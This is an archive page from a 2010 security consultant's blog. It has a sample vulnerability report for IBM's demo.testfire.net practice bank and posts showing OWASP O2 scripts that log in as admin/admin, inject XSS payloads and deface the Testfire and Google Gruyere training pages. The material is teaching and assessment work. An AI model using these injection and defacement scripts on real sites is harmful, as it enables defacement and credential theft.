parsonsisconsulting

Parsons Software Security Consulting Blog

Archive for November 2010

Sample Software Security Report for IBM test fire application

leave a comment »

Web Application Assessment

for IBM demo Test Fire Website

http://demo.testfire.net/

Parsons Software Security Consulting, LLC

http://www.parsonsisconsulting.com/

http://www.parsonsisconsultingblog.com/

 

 

 

November 22, 2010

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Executive Summary

 

Web Application Assessment Overview

Parsons Software Security Consulting, LLC performed the Web Application Assessment for IBM  Test Fire in November of 2010. The Web site assessed was the production environment at http://demo.testfire.net/.

 

.

Industry leading tools were used to remotely perform the automated portion of the assessment in conjunction with manual analysis and review process.  This report documents and prioritizes discovered vulnerabilities.

 

The application is written in .NET The application uses Java Script and Cascading Style Sheets.

 

The application is a fake banking application.

Conclusion and Recommendations

We have documented the detailed opportunities to improve the security posture of the application.  It is recommended that the High vulnerabilities be addressed as soon as possible (3 months or less).  Parsons Software  Security Consulting, LLC, is an advisor for your team to utilize to assist in the remediation process.

Proper coding practices using whitelisting, should be instituted. Whitelisting would state that anything that is not specifically allowed is denied. For instance, if a field should only require alphabetic characters, then only those characters should be allowed in that field. This will not only help defend against certain kinds of attacks but also help keep data that is accepted as accurate as possible.

Error handling and trapping should be instituted throughout the application and the server.  This will prevent information leakage via error messages resulting from unexpected input from users.  Error messages generated should be uniform and uninformative, to prevent them from unintentionally revealing information.

 

 

 

 

 

 

 

 

 

 

 

 

 

Overview of Web Application Findings

The following Vulnerabilities were discovered:

 

Risk Level Vulnerability Description
High Authentication Bypass SQL injection.  An attacker could bypass the login page and login to the application without credentials.
High SQL injection.  An attacker could extract sensitive data from the database.
High Blind SQL injection.     An attacker could extract sensitive data from the database.
High Cross Site Scripting.  An attacker could deface your website or steal customer’s credentials and data.
Medium Database Error Found.  Database error found can give information for an attack later on.
Medium Direct Access to Administration Pages.  This could reveal highly sensitive information about your website.
Medium Sensitive Files Found.   This could reveal highly sensitive information about your website.
Low Cross Site Request Forgery.  This could allow an attacker to attack your website via a  client.
Low Unencrypted Login Request.  This could allow an attacker to steal user’s credentials.
Low Form Auto Complete On.

 

 

 

 

 

 

 

 

 

 

Web Application Assessment Details

 

Assessment Scope

 

Note: This assessment took place during the month of November, 2010. All vulnerabilities described relate to the site configuration, as it existed at the time, and may or may not be applicable to the current configuration state.

Credentials were used for the assessment.

 

Findings and Recommendations

The findings below are ordered by risk, with an emphasis on remediation steps to obviate the exposure. Where possible, references are given for hardening and best practices guidelines that apply to the exposure in question.

 

Vulnerability risk definition is as follows:

 

High Risk – These findings identify conditions that could directly result in the compromise or unauthorized access of a network, system, application or information.

 

Medium Risk – These findings identify conditions that do not immediately or directly result in the compromise or unauthorized access of a network, system, application or information, but do provide a capability or information that could, in combination with other capabilities or information, result in the compromise or unauthorized access of a network, system, application or information.

Low Risk – These findings identify conditions that do not immediately or directly result in the compromise of a network, system, application, or information, but do provide information that could be used in combination with other information to gain insight into how to compromise or gain unauthorized access to a network, system, application or information. Low risk findings may also demonstrate an incomplete approach to or application of security measures within the environment.

In many cases issues that were discovered in one location were replicated throughout the application. Thus, the remediation processes may overlap with other discovered vulnerabilities and should be implemented on an application wide basis.

 

Vulnerability 1 Authentication / Weak Authentication
Risk High
Reference http://www.kb.cert.org/vuls/id/466433

 

See Vimeo Reference http://vimeo.com/17196966

Affected URLs http://demo.testfire.net/bank/login.aspx

Vulnerability Description

The application has a weak authentication mechanism. As a result, it is possible to bypass the requirement of registering in order to access the literature section of the site. The authentication seems to rely completely on whether or not “username=” is set as part of the “pref” cookie. If any username is set, the user can access the restriction part of the site. The rest of the cookie, including the “password=” portion, is ignored.

 

 

 

Vulnerability Recommendation

The authentication mechanism should check both username and password to verify session validity. Once validity has been established, the session should be connected to a session identifier value to help prevent tampering. Typically, this session ID is stored into a cookie. Subsequently, the session identifier should be checked at each protected page to ensure it is connected with a valid, authenticated session. Only then should the protected page be shown to the user.

 

 

 

Vulnerability Recommendation

This file should be removed from the system. Also, the process of in place backups should be discontinued. This will help ensure sensitive information is not leaked to attackers.

 

Vulnerability 2 Input Validation / SQL Injection
Risk High
Reference  
Affected URLs http://demo.testfire.net/

http://demo.testfire.net/bank/account.aspx

http://demo.testfire.net/bank/login.aspx

http://demo.testfire.net/bank/transaction.aspx

http://demo.testfire.net/bank/transfer.aspx

http://demo.testfire.net/subscribe.aspx

Vulnerability Description

A potential SQL injection vulnerability was identified. This may allow an attacker to gain sensitive information and affect the back end database.  Even though no sensitive data was retrieved, it should be ensured that this condition does not exist in code. The symptoms appear to be there.

See Vimeo Reference http://vimeo.com/17196966

 

 

 

 

Vulnerability Recommendation

 

SQL Injection arises from an attacker’s manipulation of query data to modify query logic. The best method of preventing SQL Injection attacks is thereby to separate the logic of a query from its data. This will prevent commands inserted from user input from being executed. The downside of this approach is that it can have an impact on performance, albeit slight, and that each query on the site must be structured in this method for it to be completely effective. If one query is inadvertently bypassed, that could be enough to leave the application vulnerable to SQL Injection. The following code shows a sample SQL statement that is SQL injectable.

sSql = “SELECT LocationName FROM Locations “;

sSql = sSql + ” WHERE LocationID = ” + Request[“LocationID”];

oCmd.CommandText = sSql;

The following example utilizes parameterized queries, and is safe from SQL Injection attacks.

$db = new mysqli(“localhost”, “user”, “pass”, “database”);

$stmt = $db -> prepare(“SELECT priv FROM testUsers WHERE username=? AND password=?”);

$stmt -> bind_param(“ss”, $user, $pass);

$stmt -> execute();

 

In PHP version 5 and MySQL version 4.1 and above, it is possible to use prepared statements through vendor-specific extensions like mysqli.

The application will send the SQL statement to the server without including the user’s input. Instead, a parameter-?- is used as a placeholder for that input. In this way, user input never becomes part of the command that SQL executes. Any input that an attacker inserts will be effectively negated. An error would still be generated, but it would be a simple data-type conversion error, and not something a hacker could exploit.

Input validation should be happening on all input coming from a user. The vast majority of SQL Injection checks can be prevented by properly validating user input for both type and format. The best method of doing this is via “white listing”. This is defined as only accepting specific account numbers or specific account types for those relevant fields, or only accepting integers or letters of the English alphabet for others. Many developers will try to validate input by “black listing” characters, or “escaping” them. Basically, this entails rejecting known bad data, such as a single quotation mark, by placing an “escape” character in front of it so that the item that follows will be treated as a literal value. This approach is not as effective as white listing because it is impossible to know all forms of bad data ahead of time.

 

 

Vulnerability 3 Input Validation / Potential Blind SQL Injection
Risk High
Reference  
Affected URLs http://demo.testfire.net/bank/login.aspx

Vulnerability Description

A potential Blind SQL injection vulnerability was identified. This may allow an attacker to gain sensitive information and affect the back end database even though database error messages are not being displayed. Even though no sensitive data was retrieved, it should be ensured that this condition does not exist in code. The symptoms appear to be there. The variable identified is the “uid” variable on the following page:

 

 

See Vimeo Reference http://vimeo.com/17196966

 

 

 

Vulnerability Recommendation

 

SQL Injection arises from an attacker’s manipulation of query data to modify query logic. The best method of preventing SQL Injection attacks is thereby to separate the logic of a query from its data. This will prevent commands inserted from user input from being executed. The downside of this approach is that it can have an impact on performance, albeit slight, and that each query on the site must be structured in this method for it to be completely effective. If one query is inadvertently bypassed, that could be enough to leave the application vulnerable to SQL Injection. The following code shows a sample SQL statement that is SQL injectable.

sSql = “SELECT LocationName FROM Locations “;

sSql = sSql + ” WHERE LocationID = ” + Request[“LocationID”];

oCmd.CommandText = sSql;

The following example utilizes parameterized queries, and is safe from SQL Injection attacks.

$db = new mysqli(“localhost”, “user”, “pass”, “database”);

$stmt = $db -> prepare(“SELECT priv FROM testUsers WHERE username=? AND password=?”);

$stmt -> bind_param(“ss”, $user, $pass);

$stmt -> execute();

 

In PHP version 5 and MySQL version 4.1 and above, it is possible to use prepared statements through vendor-specific extensions like mysqli.

The application will send the SQL statement to the server without including the user’s input. Instead, a parameter-?- is used as a placeholder for that input. In this way, user input never becomes part of the command that SQL executes. Any input that an attacker inserts will be effectively negated. An error would still be generated, but it would be a simple data-type conversion error, and not something a hacker could exploit.

Input validation should be happening on all input coming from a user. The vast majority of SQL Injection checks can be prevented by properly validating user input for both type and format. The best method of doing this is via “white listing”. This is defined as only accepting specific account numbers or specific account types for those relevant fields, or only accepting integers or letters of the English alphabet for others. Many developers will try to validate input by “black listing” characters, or “escaping” them. Basically, this entails rejecting known bad data, such as a single quotation mark, by placing an “escape” character in front of it so that the item that follows will be treated as a literal value. This approach is not as effective as white listing because it is impossible to know all forms of bad data ahead of time.

 

 

Vulnerability 4 Input Validation / Cross-Site Scripting (XSS)
Risk High
Reference http://www.cgisecurity.com/articles/xss-faq.shtml
Affected URLs
lang

See Vimeo Reference

http://demo.testfire.net/bank/customize.aspx

 

http://www.vimeo.com/17200635

uid http://demo.testfire.net/bank/login.aspx
debitAccount http://demo.testfire.net/bank/transfer.aspx
creditAccount http://demo.testfire.net/bank/transfer.aspx
name http://demo.testfire.net/comment.aspx
comment.aspx http://demo.testfire.net/comment.aspx
txtSearch http://demo.testfire.net/search.aspx
txtEmail http://demo.testfire.net/subscribe.aspx

 

Vulnerability Description

Multiple instances of Cross-Site Scripting were identified. This vulnerability could allow an attacker to craft a malicious link or get malicious code inserted in to a user’s browser. Normally this is used to steal session identifiers or credentials allowing them to compromise the application’s data. This vulnerability could also be used to insert malicious content in to the user’s browser potentially compromising their system. The recommendation for this issue should be applied anywhere where the application accepts data from a user and it gets echoed back to the screen. A list of some of the identified URLs with XSS issues are listed in Appendix A. Some of the URLs may have multiple variables that are vulnerable.

The following shows a XSS vulnerability and a popup of document.cookie.

 

lang

See Vimeo Reference

http://demo.testfire.net/bank/customize.aspx

 

http://www.vimeo.com/17200635

 

 

 

 

 

Vulnerability Recommendation

Cross-Site Scripting attacks can be avoided by carefully validating all input, and properly encoding all output. Always use as strict a pattern as you can possibly allow. Encoding of output ensures that any scriptable content is properly encoded for HTML before being sent to the client.

Be sure to consider all paths that user input takes through your application. For instance, if data is entered by the user, stored in a database, and then redisplayed later, you must make sure it is properly encoded each time it is retrieved. If you must allow free-format text input, such as in a message board, and you wish to allow some HTML formatting to be used, you can handle this safely by explicitly allowing only a small list of safe tags.

Secure coding practices, sanitization of user input, and properly encoding output should be used. The application should only accept content for which it is expecting for that particular variable. If a variable is only needing to accept alphabetic characters then it should only allow a-z and other characters should be denied. Encoding of the output ensure that any scriptable content is properly encoded for HTML before being sent to the client. This code would properly encode items such as <, >, \, \\, and & with their proper HTML equivalents such as &lt; &gt; &quot; etc.

 

 

Vulnerability 5 Information Leakage / Verbose Database Error Messages
Risk High
Reference http://msdn.microsoft.com/en-us/library/994a1482.aspx
Affected URLs
amUserId http://demo.testfire.net/
listAccounts http://demo.testfire.net/bank/account.aspx
uid http://demo.testfire.net/bank/login.aspx
passw http://demo.testfire.net/bank/login.aspx
login.aspx http://demo.testfire.net/bank/login.aspx
before http://demo.testfire.net/bank/transaction.aspx
after http://demo.testfire.net/bank/transaction.aspx
transaction.aspx http://demo.testfire.net/bank/transaction.aspx
debitAccount http://demo.testfire.net/bank/transfer.aspx
creditAccount http://demo.testfire.net/bank/transfer.aspx
txtEmail http://demo.testfire.net/subscribe.aspx
subscribe.aspx http://demo.testfire.net/subscribe.aspx

 

Vulnerability Description

The database is sending verbose errors to the user’s browser. These errors indicate an unhandled exception by the database server. This information contains sensitive information that an attacker can use to conduct further attacks. It gives an attacker helpful information regarding syntax of requests in which the attacker can use to correct mistakes and increase the effectiveness of attacks.

 

See Vimeo Reference http://vimeo.com/17196966

 

 

 

Vulnerability Recommendation

The best way to prevent these errors is proper coding techniques in which only proper input is accepted. This should be done in a whitelisting approach. Do not display error messages to the end-user that provide information (such as table names) that could be utilized in orchestrating an attack. Also, there should be definition of the maximum and minimum data lengths for what the application will accept. ODBC error messages should be turned off and raw ODBC and other verbose errors should not be sent to the end user. To remove detailed error messages documentation for the particular database server should be consulted.

 

 

 

Vulnerability 6 Admin Directory
Risk Medium
Reference  
Affected URLs http://demo.testfire.net/admin/

Vulnerability Recommendation
A directory named ‘admin’ was discovered within your web application. Risks associated with an attacker discovering an administrative directory on your application server typically include the potential for the attacker to use the administrative applications to affect the operations of the web site.

 

 

 

 

Vulnerability 7 Information Leakage / Directory Listing/ Sensitive files
Risk Medium
Reference  
Affected URLs http://demo.testfire.net/bank/

http://demo.testfire.net/pr/

Vulnerability Description

The application has several files that appear to be in place backups of files. These files are sometimes served differently by the web server than files with the standard file extension. In some cases this could lead to information leakage that would give an attacker an idea of how to better attack the system.

 

 

See Vimeo Reference http://www.vimeo.com/17200961

 

 

 

 

 

 

 

 

 

 

Vulnerability Recommendation

These files should be removed from the system and the process of doing in place backups such as this should be discontinued. This will ensure that the server doesn’t accidentally serve sensitive data to an attacker.

 

Vulnerability 8 Cross Site Request Forgery
Risk High
Reference  
Affected URLs
admin.aspx http://demo.testfire.net/admin/admin.aspx
account.aspx http://demo.testfire.net/bank/account.aspx
apply.aspx http://demo.testfire.net/bank/apply.aspx
customize.aspx http://demo.testfire.net/bank/customize.aspx
logout.aspx http://demo.testfire.net/bank/logout.aspx
transaction.aspx http://demo.testfire.net/bank/transaction.aspx
transfer.aspx http://demo.testfire.net/bank/transfer.aspx
comment.aspx http://demo.testfire.net/comment.aspx
subscribe.aspx http://demo.testfire.net/subscribe.aspx

 

Vulnerability Description

In order to avoid CSRF attacks, every request should contain a unique identifier, which is a parameter that an attacker cannot guess.

Vulnerability Recommendation

One suggested option is to add the session id taken from the session cookie and adding it as a parameter. The server must check that this parameter matches the session cookie, and if not discard the request. The reason an attacker cannot guess this parameter is the “same origin policy” that applies to cookies, so the attacker cannot forge a fake request that will seem real to the server. Any secret that is hard to guess and is not accessible to an attacker (i.e. not accessible from a different domain) can be used instead of the session id. This will prevent an attacker from crafting a seemingly valid request.

 

 

 

Vulnerability 9 Session Handling / Cleartext connections
Risk High
Reference http://www.kb.cert.org/vuls/id/466433
Affected URLs
http://demo.testfire.net/bank/customize.aspx
http://demo.testfire.net/bank/queryxpath.aspx
http://demo.testfire.net/bank/transaction.aspx

 

Vulnerability Description

The application accepts session data over plaintext connections. Sending credentials and data without cryptographic protections could allow for an attacker to intercept this data allowing them to take actions in the intercepted user’s name. Also if cryptographic protections such as TLS/SSL are not used the data being sent or received from the application can be modified. People often use the same password for multiple services. A password intercepted here could allow for its use elsewhere.

 

 

 

 

 

 

Vulnerability Recommendation

 

The application should use some form of cryptographic protection for credentials and session IDs being sent. This will mitigate the risk of not only the capturing of authentication data but the integrity of data being pulled and submitted to the application as well. Most commonly for web applications this is done with TLS/SSL.

 

Vulnerability 10 Form Auto-complete ON
Risk Low
Reference http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/abbca505-6f63-4267-aac1-1ea89d861eb4.mspx
Affected URLs http://demo.testfire.net/bank/login.aspx

 

Vulnerability Description

 

Most recent browsers have features that will save form field content entered by users and then automatically complete form entry the next time the fields are encountered. This feature is enabled by default and could leak sensitive information since it is stored on the hard drive of the user. The risk of this issue is greatly increased if users are accessing the application from a shared environment.

 

 

Vulnerability Recommendation

Recommendations include setting auto complete to “off” on all your forms.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Sources and Further Reading

OWASP: The Open Web Application Security Project

http://www.owasp.org

 

The Web Application Security Consortium

http://www.webappsec.org

 

Mark Kruger: The Application Security Pyramid

http://www.coldfusionmuse.com/index.cfm/2006/4/13/security.pyramid.policing

 

OWASP Top Ten 2007

http://www.owasp.org/index.php/Top_10_2007

 

OWASP Security Principles

http://www.owasp.org/index.php/Category:Principle

 

OWASP Common Software Vulnerabilities

http://www.owasp.org/index.php/Category:Vulnerability

 

Microsoft: Improving Web Application Security

http://msdn2.microsoft.com/en-us/library/ms994921.aspx

 


Web Application Assessment Points of Contact

For questions or comments regarding this report please contact the following:

Name Role Contact Information
Matt Parsons, MSM, CISSP Vice President, Parsons Software Security Consulting, LLC mparsons1980@gmail.com

315-559-3588

 

 

 

Written by mparsons1980

November 29, 2010 at 4:18 pm

Posted in Uncategorized

SQL injection with 02 and FuzzDB Database plugin

with 3 comments

O2 Database plugin testing for SQL injection.

Now that we have covered XSS with 02 we are going to go through SQL injection using FuzzDB.

Adam Muntner created it using a number of sources.

fuzzdb helps identify security flaws in applications by aggregating known attack patterns, predictable resource names, and server response messages to create a comprehensive, repeatable set of malformed input test cases.


svn checkout http://fuzzdb.googlecode.com/svn/trunk/ fuzzdb-read-only

http://code.google.com/p/fuzzdb/downloads/detail?name=fuzzdb-1.08.tgz 

This code uses the fuzzdb plugin and fuzz’s the database with different SQL injection payloads.   It then takes screen shots of each successful iteration.

The screen shots are above.   If you have any questions feel free to email me at mparsons1980@gmail.com

Once again Parsons Software Security Consulting, LLC is offering unauthenticated scans for the holidays.  A few people have taken me up on this offer.

http://player.vimeo.com/video/17196966

Written by mparsons1980

November 25, 2010 at 3:04 am

XSS with 02 script editor Defacement on Gruyere

leave a comment »

Today’s post is going to go through step by step on Gruyere XSS defacement.

We already created our XSS builder with 02.   Now we are going to do a XSS defacement.

Above is the regular Gruyere Login page.   Below is Defacement with the IE Script Execution.

Here is all the code needed for the defacement.


using O2.XRules.Database.Utils;

using O2.XRules.Database.APIs;

using O2.External.SharpDevelop.Ascx;

using O2.External.SharpDevelop.ExtensionMethods;

using O2.DotNetWrappers.Network;

using O2.DotNetWrappers.DotNet;

using O2.DotNetWrappers.Windows;

using O2.DotNetWrappers.ExtensionMethods;

using O2.Views.ASCX.classes.MainGUI;

using O2.Views.ASCX.CoreControls;

using O2.Views.ASCX.ExtensionMethods;

using O2.Kernel.ExtensionMethods;

using O2.Kernel;

using O2.Interfaces;

using System.Linq;

using System.Xml.Linq;

using System.Xml;

using System.Collections.Generic;

using System.Windows.Forms;

using System.Drawing;

using System;

using O2.XRules.Database.Utils.O2;

public class DynamicType

{

public void dynamicMethod(object returnData, System.Windows.Forms.Panel panel)

{

panel.clear();

var ie = panel.add_IE().silent(true);

ie.open("http://google-gruyere.appspot.com/856783677371/login");

var target = ie.elements("DIV").str("Gruyere: Login");

target.flash();

target.injectHtml("beforeBegin", "<h1>O2 Platform Demos</h1>" + "The best way to learn about the security vulnerabilities of this website is to use the <a href=\"http://o2platform\">OWASP O2 Platform</a>" + "<script DEFER> " + " //alert(document.links[0].href);" + " document.links[0].href = \"http://o2platform.com\";" + " document.images[0].src =\" <a href="http://o2platform.com/images/a/">http://o2platform.com/images/a/</a> " + "a0/6_22_2010_7_08_23_PM_tmp9E4.jpg\";" + " //alert(document.images[0].sec);" + " //document.images[1].href = " + " //alert(document.images[1].href);" + "</script>");

}

}

//O2File:WatiN_IE_ExtensionMethods.cs

//using O2.XRules.Database.Utils.O2

//O2Ref:WatiN.Core.1x.dll

This is what Dinis Created and what is under the hood of these little scripts. It’s a bit more complex.

I was speaking to Dinis and in his own words after  I questioned him about the code he explained some of it too me.

what happens when you select the ‘show/hide generated source code’ is that you see the actual method that gets compiled (basicaly I automatically put the text you put on the main script window inside that public object dynamicMethod(object returnData, string testString, int testNumber) method

– the silent(true) in IE is just to prevent pop-ups (and sometimes you need to put it to false since you need to act on those popups)

– the ‘flash()’ method is used to slow down a little bit the script execution and so that you can see visually which HTML field is being edited

If you have any questions e-mail me. Matt Parsons, CISSP, MSM

Parsons Software Security Consulting, LLC

Written by mparsons1980

November 25, 2010 at 1:39 am

XSS Exploit with 02 continued on Google Demo Hack Site

leave a comment »

In the spirit of Cross Site Scripting exploits with 02 we will continue to exploit using 02 XSS exploit script. This time I will use the script from Dinis Cruz’s powerful 02.

We are going to select XSS builder.

Google is kind enough to offer an attack website, Gruyere.  Only attack websites you are authorized to  attack.  Parsons Software Security Consulting, LLC assumes no liability in any damage that you do from unauthorized hacking.

We are going to attack the login page.

The website is vulnerable to XSS.  Next time we will create a script to show this attack and do a defacement.

If you have any questions or comments feel free to contact Matt Parsons.

Also Parsons Software Security Consulting, LLC is offering free unauthenticated web penetration test to the first 10 companies that respond by the end of the year 2010.

Written by mparsons1980

November 24, 2010 at 9:49 pm

BASE 64 Decoding with 02

leave a comment »

With the simple script editor that Dinis created it is possible to base 64 decode values.  This is important because some insecure websites base 64 encode values.   See below screen shot from IBM appscan.

So lets decode the password.

Password decoded.  You can also use the same script to decode the user name.

If you have any questions e-mail me at mparsons1980@gmail.com

Matt Parsons, CISSP, MSM

Parsons Software Security Consulting, LLC

Written by mparsons1980

November 24, 2010 at 1:59 pm

Posted in Uncategorized

The power of 02 scripting

with one comment

Dinis Cruz is the creator of 02.   He was kind enough to give me a lesson on 02 Internet Explorer Automated Scripting.   This is a really powerful tool and will be what I think in the future end deliverable of software security testers to there clients’.  This tool actually recreates the vulnerability step by step in an automated fashion.

Let’s get started in creating your automated XSS script for IBM’s demo test fire application.   In a previous post we showed the vulnerable lang variable to XSS and we manually exploited it with both IBM app scan as well as 02’s XSS creator.

Try 02.

First you are going to need to install 02.  02 is free and open source and is also an OWASP project.

Once you download the tool you are going to need to sync up the scripts.

Click on Custom 02 scripts.

Dinis created an 02 script for my engagement and my business Parsons Software Security Consulting, LLC.   We will drag and drop the Matt parsons v0.1 (Custom 02.h2 script to the logo.

This is the user interface to 02.

We are going to want to double click on IE Automation.   Dinis told me that this part of 02 received a lot of traction at OWASP Brazil and that they were really excited about it.

Below are the default scripts.

The default page is http://www.google.com.

Below is the sample script.


var ie = panel.<strong>add_IE</strong>().<strong>silent</strong>(<strong>true</strong>);

ie.<strong>open</strong>("http://www.google.com");

//O2File:WatiN_IE_ExtensionMethods.cs

//using O2.XRules.Database.Utils.O2

//O2Ref:WatiN.Core.1x.dll

Its basically scripted in C#.

Here is the first script Dinis created.

var ie = panel.add_IE().silent(true);

ie.open("<a href="http://demo.testfire.net/">http://demo.testfire.net</a>");

if (ie.hasLink("Sign In"))

{

ie.link("Sign In").click();

ie.field("uid").value("admin");

ie.field("passw").value("admin");

ie.button("Login").click();

}

else

ie.link("MY ACCOUNT").click();

return ie.fields();
]

This script opens the IBM demo web site and logs you in as an admin.   One of the users in the IBM test website is admin.

This welcomes you as an admin user.

Next we are going to launch a XSS attack on the lang variable that we found vulnerable in our web site scanner.


ie.open("<a href="http://demo.testfire.net/">http://demo.testfire.net</a>");

if (ie.hasLink("Sign In"))

{

ie.link("Sign In").click();

ie.field("uid").value("admin");

ie.field("passw").value("admin");

ie.button("Login").click();

}

else

ie.link("MY ACCOUNT").click();

ie.link("Customize Site Language").click();

ie.link("International").click();

var currentUrl = ie.url();

var xssPayload = "aaa&gt;&lt;script&gt; alert('xss')&lt;/script&gt;";

ie.open(currentUrl + xssPayload);

return currentUrl;]

See the alert XSS.

Now with this script we are going to do some serious XSS defacement.


panel.clear();

var ie = panel.add_IE().silent(true);

ie.open("<a href="http://demo.testfire.net/bank/customize.aspx?lang=international">http://demo.testfire.net/bank/customize.aspx?lang</a><a href="http://demo.testfire.net/bank/customize.aspx?lang=international">=international</a>");

var target = ie.elements("P").str("Curent Language: international ");

target.flash();

target.injectHtml("beforeBegin","&lt;h1&gt;O2 Platform Demos&lt;/h1&gt;"+

"The best way to learn about the security vulnerabilities of this website is to use the &lt;a href<a href="http://primarypad.com/ep/search?query=%5C">=\</a>"<a href="http://o2platform%5c/">http://o2platform\</a>"&gt;OWASP O2 Platform&lt;/a&gt;"+

"&lt;script DEFER&gt;    "+

"    //alert(document.links[0].href);"+

"    document.links[0].href = \"<a href="http://o2platform.com%5c/">http://o2platform.com\</a>";"+

"    document.images[0].src <a href="http://primarypad.com/ep/search?query=%5C">=\</a>"<a href="http://o2platform.com/images/a/">http://o2platform.com/images/a/</a>"+"a0/6_22_2010_7_08_23_PM_tmp9E4.jpg\";"+

"    //alert(document.images[0].sec);"+

"    //document.images[1].href = "+

"    //alert(document.images[1].href);"+

"&lt;/script&gt;");

//O2File:WatiN_IE_ExtensionMethods.cs

//using O2.XRules.Database.Utils.O2

//O2Ref:WatiN.Core.1x.dll]

Now remember that all of this is automated.  It goes through each of the steps to create the defacement.

If you have any questions e-mail me at mparsons1980@gmail.com

Matt Parsons, CISSP, MSM

Written by mparsons1980

November 24, 2010 at 2:00 am

Posted in Uncategorized

How to automate XSS with Dinis Cruz 02

leave a comment »

In today’s post we are going to discuss the steps to automate a XSS scripting attack using Dinis Cruz’s 02.   Dinis is a really smart guy and good friend of mine.   I like the work that he is doing with O2.   The tool we are going to use allows you to automate custom XSS exploits.   The value of this tool is that you don’t have to go to RSNAKE’s XSS cheat sheet website everytime you want to show XSS.

Below are some Cross Site Scripting vulnerabilities found on IBM’s demo website with IBM Appscan.

It is good that the tool found these vulnerabilities but now you have to prove whether or not they are false positives.   This can help with Dinis’s O2 tool.   We are going to write a custom 02 script that we can later on recreate and give to developers or system administrators as unit tests.   But for now we are just going to use Snagit and describe it in a detailed report.

Above is the standard XSS that IBM appscan created.  If you want to be worth your salt as a pen tester do not give this to your client.

For this usecase we are going to exploit the lang variable.

Vulnerability Description

Multiple instances of Cross-Site Scripting were identified. This vulnerability could allow an attacker to craft a malicious link or get malicious code inserted in to a user’s browser. Normally this is used to steal session identifiers or credentials allowing them to compromise the application’s data. This vulnerability could also be used to insert malicious content in to the user’s browser potentially compromising their system. The recommendation for this issue should be applied anywhere where the application accepts data from a user and it gets echoed back to the screen. A list of some of the identified URLs with XSS issues are listed in Appendix A. Some of the URLs may have multiple variables that are vulnerable.

The following shows a XSS vulnerability and a popup of document.cookie.

Vulnerability Recommendation

Cross-Site Scripting attacks can be avoided by carefully validating all input, and properly encoding all output. Always use as strict a pattern as you can possibly allow. Encoding of output ensures that any scriptable content is properly encoded for HTML before being sent to the client.

Be sure to consider all paths that user input takes through your application. For instance, if data is entered by the user, stored in a database, and then redisplayed later, you must make sure it is properly encoded each time it is retrieved. If you must allow free-format text input, such as in a message board, and you wish to allow some HTML formatting to be used, you can handle this safely by explicitly allowing only a small list of safe tags.

Secure coding practices, sanitization of user input, and properly encoding output should be used. The application should only accept content for which it is expecting for that particular variable. If a variable is only needing to accept alphabetic characters then it should only allow a-z and other characters should be denied. Encoding of the output ensure that any scriptable content is properly encoded for HTML before being sent to the client. This code would properly encode items such as <, >, \, \\, and & with their proper HTML equivalents such as &lt; &gt; &quot; etc.

Written by mparsons1980

November 23, 2010 at 8:19 pm

Posted in Uncategorized